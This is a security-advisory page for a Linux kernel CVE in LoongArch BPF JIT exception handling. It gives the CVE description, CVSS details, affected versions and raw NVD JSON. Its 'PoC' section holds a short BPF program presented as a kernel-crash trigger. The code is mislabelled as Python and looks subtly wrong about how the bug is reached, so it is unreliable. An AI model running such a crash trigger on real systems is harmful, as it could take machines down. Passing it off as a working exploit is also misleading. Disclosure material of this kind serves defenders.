Security Vulnerability Report
中文
CVE-2025-71270 CVSS 5.5 MEDIUM

CVE-2025-71270

Published: 2026-03-18 18:16:22
Last Modified: 2026-05-21 18:36:20
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: LoongArch: Enable exception fixup for specific ADE subcode This patch allows the LoongArch BPF JIT to handle recoverable memory access errors generated by BPF_PROBE_MEM* instructions. When a BPF program performs memory access operations, the instructions it executes may trigger ADEM exceptions. The kernel’s built-in BPF exception table mechanism (EX_TYPE_BPF) will generate corresponding exception fixup entries in the JIT compilation phase; however, the architecture-specific trap handling function needs to proactively call the common fixup routine to achieve exception recovery. do_ade(): fix EX_TYPE_BPF memory access exceptions for BPF programs, ensure safe execution. Relevant test cases: illegal address access tests in module_attach and subprogs_extable of selftests/bpf.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
Linux kernel (LoongArch) < 6.12.x (未修复版本)
包含LoongArch BPF JIT支持的内核版本
特定commit: 73ede654d9daa2ee41bdd17bc62946fc5a0258cb
特定commit: 9bdc1ab5e4ce6f066119018d8f69631a46f9c5a0
特定commit: c2ed4f71e9288f21d5c53ff790270758e60fa5f9
特定commit: c49a28068363f3dca439aa5fe4d3b1f8159809fe

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-71270 PoC - Conceptual BPF program to trigger ADE exception // This PoC demonstrates the vulnerability in LoongArch BPF JIT exception handling #include <linux/bpf.h> #include <linux/ptrace.h> #include <bpf/bpf_helpers.h> // Malicious BPF program attempting illegal memory access SEC("tracepoint/syscalls/sys_enter_write") int probe_mem_access(struct pt_regs *ctx) { // Attempt to access invalid memory address via BPF_PROBE_MEM // This will trigger ADE exception that is not properly handled volatile void *invalid_addr = (void *)0xdeadbeef; // BPF_PROBE_MEM read operation - triggers ADE on LoongArch unsigned long value = bpf_probe_read_kernel(&invalid_addr, sizeof(unsigned long), (void *)0xffffffffffff0000); // If exception handling works correctly, execution continues here // But with the bug, kernel panic may occur return 0; } char _license[] SEC("license") = "GPL"; /* * To trigger the vulnerability: * 1. Load this BPF program on a LoongArch system with vulnerable kernel * 2. Trigger the tracepoint * 3. Observe kernel behavior - may panic or crash * * Note: This is a conceptual PoC for security research purposes only. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71270", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T18:16:22.230", "lastModified": "2026-05-21T18:36:19.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: Enable exception fixup for specific ADE subcode\n\nThis patch allows the LoongArch BPF JIT to handle recoverable memory\naccess errors generated by BPF_PROBE_MEM* instructions.\n\nWhen a BPF program performs memory access operations, the instructions\nit executes may trigger ADEM exceptions. The kernel’s built-in BPF\nexception table mechanism (EX_TYPE_BPF) will generate corresponding\nexception fixup entries in the JIT compilation phase; however, the\narchitecture-specific trap handling function needs to proactively call\nthe common fixup routine to achieve exception recovery.\n\ndo_ade(): fix EX_TYPE_BPF memory access exceptions for BPF programs,\nensure safe execution.\n\nRelevant test cases: illegal address access tests in module_attach and\nsubprogs_extable of selftests/bpf."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nLoongArch: Habilitar la corrección de excepciones para un subcódigo ADE específico\n\nEste parche permite al JIT BPF de LoongArch manejar errores de acceso a memoria recuperables generados por instrucciones BPF_PROBE_MEM*.\n\nCuando un programa BPF realiza operaciones de acceso a memoria, las instrucciones que ejecuta pueden desencadenar excepciones ADEM. El mecanismo de tabla de excepciones BPF integrado del kernel (EX_TYPE_BPF) generará entradas de corrección de excepciones correspondientes en la fase de compilación JIT; sin embargo, la función de manejo de trampas específica de la arquitectura necesita llamar proactivamente a la rutina de corrección común para lograr la recuperación de la excepción.\n\ndo_ade(): corrige las excepciones de acceso a memoria EX_TYPE_BPF para programas BPF, asegura la ejecución segura.\n\nCasos de prueba relevantes: pruebas de acceso a direcciones ilegales en module_attach y subprogs_extable de selftests/bpf."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.124", "matchCriteriaId": "76183B9F-CABE-4E21-A3E3-F0EBF99DC3C7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.70", "matchCriteriaId": "F3791390-0628-4808-99EF-1ED8ABF60933"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.10", "matchCriteriaId": "7156C23F-009E-4D05-838C-A2DA417B5B8D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/73ede654d9daa2ee41bdd17bc62946fc5a0258cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9bdc1ab5e4ce6f066119018d8f69631a46f9c5a0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c2ed4f71e9288f21d5c53ff790270758e60fa5f9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c49a28068363f3dca439aa5fe4d3b1f8159809fe", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}